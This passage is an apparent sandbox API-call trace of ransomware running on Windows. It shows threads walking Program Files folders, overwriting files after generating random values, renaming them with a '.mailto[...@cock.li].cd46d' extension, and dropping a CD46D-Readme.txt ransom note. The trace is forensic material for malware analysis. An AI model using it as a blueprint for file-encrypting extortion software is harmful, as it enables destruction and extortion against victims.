[0057.379] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e38 [0057.379] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e38) returned 1 [0057.379] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0057.379] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0057.379] WriteFile (in: hFile=0x404, lpBuffer=0x5e79880*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x763f71c, lpOverlapped=0x0 | out: lpBuffer=0x5e79880*, lpNumberOfBytesWritten=0x763f71c*=0xc800, lpOverlapped=0x0) returned 1 [0057.769] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79880) returned 1 [0057.769] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab8a0) returned 1 [0057.769] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x43) returned 0x445090 [0057.770] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.770] WriteFile (in: hFile=0x404, lpBuffer=0x12d7a1c0*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x763f79c, lpOverlapped=0x0 | out: lpBuffer=0x12d7a1c0*, lpNumberOfBytesWritten=0x763f79c*=0x127, lpOverlapped=0x0) returned 1 [0061.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a1c0) returned 1 [0061.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444eb0) returned 1 [0061.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428988) returned 1 [0061.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445090) returned 1 [0061.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b90) returned 1 [0061.379] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460830) returned 1 [0061.379] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b68) returned 1 [0061.379] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ac8) returned 1 [0061.379] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00470 [0061.379] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0061.379] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.mailto[2Hamlampampom@cock.li].cd46d" [0061.379] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x763f754, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.379] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d4620 [0061.470] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4620) returned 1 [0061.470] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431ec8) returned 1 [0061.470] NtQueryInformationFile (in: FileHandle=0x404, IoStatusBlock=0x763f760, FileInformation=0x763f738, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x763f760, FileInformation=0x763f738) returned 0x0 [0061.471] NtSetInformationFile (FileHandle=0x404, IoStatusBlock=0x763f760, FileInformation=0x763f738, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.492] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0061.492] FlushFileBuffers (hFile=0x404) returned 1 [0062.196] CloseHandle (hObject=0x404) returned 1 [0062.641] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420d28 [0062.641] wcscpy (in: _Dest=0x420d28, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0062.641] wcscat (in: _Dest=0x420d28, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" [0062.642] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\cd46d-readme.txt")) returned 0x20 [0062.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d28) returned 1 [0062.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4466e8) returned 1 Thread: id = 241 os_tid = 0x9f4 [0046.791] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html")) returned 0x20 [0049.685] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html", dwFileAttributes=0x20) returned 1 [0057.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x41c [0057.323] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x778ff00 | out: lpFileSize=0x778ff00*=983) returned 1 [0057.323] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x3d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.323] ReadFile (in: hFile=0x41c, lpBuffer=0x778fe84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x778fe80, lpOverlapped=0x0 | out: lpBuffer=0x778fe84*, lpNumberOfBytesRead=0x778fe80*=0x4, lpOverlapped=0x0) returned 1 [0057.342] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608f8 [0057.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608a8 [0057.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460830 [0057.342] NtQuerySystemTime (in: CurrentTime=0x778fe60 | out: CurrentTime=0x778fe60*=132174898213224000) returned 0x0 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0xb5803f9 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x517bec79 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x4b2f5cc8 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x2915e3a0 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x55a85f37 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x66d43f3a [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x4688c589 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0xe176ee6 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x4ac97436 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x23d9cc88 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x6eecf049 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x6a2e7008 [0057.342] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x3dd1f3c4 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x36ab79a9 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x267d5e63 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x658eb465 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0xd941c49 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x2da3e24e [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x632b4b5a [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x569b4f54 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x451e9111 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x50bbbde2 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x3914c307 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x45eb322b [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x3c28f7ed [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x5f99ffb5 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x4644376a [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x72c1daad [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x74efb372 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x290663eb [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x3e46d968 [0057.343] RtlRandomEx (in: Seed=0x778fe6c | out: Seed=0x778fe6c) returned 0x13b653a0 [0057.355] ReadFile (in: hFile=0x41c, lpBuffer=0x5e92890, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x778fe5c, lpOverlapped=0x0 | out: lpBuffer=0x5e92890*, lpNumberOfBytesRead=0x778fe5c*=0x3d7, lpOverlapped=0x0) returned 1 [0057.355] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.355] WriteFile (in: hFile=0x41c, lpBuffer=0x5e9f098*, nNumberOfBytesToWrite=0x3d7, lpNumberOfBytesWritten=0x778fe58, lpOverlapped=0x0 | out: lpBuffer=0x5e9f098*, lpNumberOfBytesWritten=0x778fe58*=0x3d7, lpOverlapped=0x0) returned 1 [0057.375] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0057.375] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608f8 [0057.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608f8) returned 1 [0057.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e9f098) returned 1 [0057.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e92890) returned 1 [0057.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0057.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0057.375] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4088c0 [0057.375] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.375] WriteFile (in: hFile=0x41c, lpBuffer=0x12d7c1c0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x778fec0, lpOverlapped=0x0 | out: lpBuffer=0x12d7c1c0*, lpNumberOfBytesWritten=0x778fec0*=0x109, lpOverlapped=0x0) returned 1 [0057.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0057.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0057.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608f8) returned 1 [0057.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0057.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460998) returned 1 [0057.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608a8) returned 1 [0057.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460808) returned 1 [0057.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4607b8) returned 1 [0057.383] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x442e60 [0057.383] wcscpy (in: _Dest=0x442e60, _Source="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0057.383] wcscat (in: _Dest=0x442e60, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.mailto[2Hamlampampom@cock.li].cd46d" [0057.383] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x778fe78, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0057.383] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d5f0 [0057.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d5f0) returned 1 [0057.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4579f0) returned 1 [0057.392] NtQueryInformationFile (in: FileHandle=0x41c, IoStatusBlock=0x778fe84, FileInformation=0x778fe5c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x778fe84, FileInformation=0x778fe5c) returned 0x0 [0057.392] NtSetInformationFile (FileHandle=0x41c, IoStatusBlock=0x778fe84, FileInformation=0x778fe5c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442e60) returned 1 [0057.398] FlushFileBuffers (hFile=0x41c) returned 1 [0057.400] CloseHandle (hObject=0x41c) returned 1 [0057.401] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420fc8 [0057.401] wcscpy (in: _Dest=0x420fc8, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0057.401] wcscat (in: _Dest=0x420fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" [0057.401] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\cd46d-readme.txt")) returned 0x20 [0057.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420fc8) returned 1 [0057.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445d10) returned 1 Thread: id = 242 os_tid = 0x9f0 [0046.792] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x4168a0 [0046.792] wcscpy (in: _Dest=0x4168a0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" [0046.792] wcscat (in: _Dest=0x4168a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0046.792] wcscat (in: _Dest=0x4168a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*" [0046.792] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45afd8 [0046.792] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440360 [0048.524] wcscmp (_String1=".", _String2=".") returned 0 [0048.524] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.524] wcscmp (_String1="..", _String2=".") returned 1 [0048.524] wcscmp (_String1="..", _String2="..") returned 0 [0048.524] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0048.524] wcscmp (_String1="Cartridges", _String2=".") returned 1 [0048.524] wcscmp (_String1="Cartridges", _String2="..") returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x446480 [0048.524] wcscpy (in: _Dest=0x446480, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" [0048.524] wcscat (in: _Dest=0x446480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0048.524] wcscat (in: _Dest=0x446480, _Source="Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0048.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0048.924] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a6b00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150a6b00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x1663968, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0048.925] wcscmp (_String1="msmdlocal.dll", _String2=".") returned 1 [0048.925] wcscmp (_String1="msmdlocal.dll", _String2="..") returned 1 [0048.925] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc50000, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fc50000, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x82b958, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0048.925] wcscmp (_String1="msmgdsrv.dll", _String2=".") returned 1 [0048.925] wcscmp (_String1="msmgdsrv.dll", _String2="..") returned 1 [0048.925] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f62d00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f62d00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x63bb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0048.925] wcscmp (_String1="msolap100.dll", _String2=".") returned 1 [0048.925] wcscmp (_String1="msolap100.dll", _String2="..") returned 1 [0048.925] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d94800, ftCreationTime.dwHighDateTime=0x1c8e1e0, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d94800, ftLastWriteTime.dwHighDateTime=0x1c8e1e0, nFileSizeHigh=0x0, nFileSizeLow=0x43618, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0048.925] wcscmp (_String1="msolui100.dll", _String2=".") returned 1 [0048.925] wcscmp (_String1="msolui100.dll", _String2="..") returned 1 [0048.925] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0048.925] wcscmp (_String1="Resources", _String2=".") returned 1 [0048.925] wcscmp (_String1="Resources", _String2="..") returned 1 [0048.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x449e20 [0048.935] wcscpy (in: _Dest=0x449e20, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" [0048.935] wcscat (in: _Dest=0x449e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0048.935] wcscat (in: _Dest=0x449e20, _Source="Resources" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0048.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0048.936] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0048.936] FindClose (in: hFindFile=0x440360 | out: hFindFile=0x440360) returned 1 [0048.937] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45afd8) returned 1 [0048.937] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4168a0) returned 1 [0048.937] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4467f8) returned 1 Thread: id = 243 os_tid = 0xa14 [0046.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419220 [0046.793] wcscpy (in: _Dest=0x419220, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" [0046.793] wcscat (in: _Dest=0x419220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\" [0046.793] wcscat (in: _Dest=0x419220, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*" [0046.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b240 [0046.793] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a20 [0047.113] wcscmp (_String1=".", _String2=".") returned 0 [0047.113] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, 